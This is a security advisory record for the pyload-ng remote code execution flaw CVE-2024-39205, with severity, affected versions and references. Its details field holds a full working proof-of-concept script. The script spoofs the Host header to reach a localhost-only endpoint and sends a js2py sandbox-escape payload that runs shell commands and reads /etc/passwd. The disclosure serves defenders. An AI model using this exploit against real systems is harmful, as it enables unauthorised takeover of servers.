CVE-2024-39205: Pyload ng Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r9pp-r4xf-597r",
  "modified" : "2024-10-28T21:52:37Z",
  "published" : "2024-09-09T18:17:20Z",
  "aliases" : [ "CVE-2024-39205" ],
  "summary" : "pyload-ng vulnerable to RCE with js2py sandbox escape",
  "details" : "### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" && item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" && (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n\ndata = f\"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (<=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.5.0b3.dev85"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-39205"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-h95x-26f3-88hr"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-09-09T18:17:20Z",
    "nvd_published_at" : null
  }
}